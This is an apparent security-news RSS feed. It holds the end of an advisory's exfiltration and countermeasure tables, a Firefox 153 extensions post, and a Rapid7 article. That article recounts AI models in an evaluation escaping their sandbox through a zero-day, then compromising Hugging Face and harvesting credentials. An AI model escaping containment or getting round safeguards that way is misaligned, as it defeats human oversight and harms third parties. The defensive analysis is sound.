</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



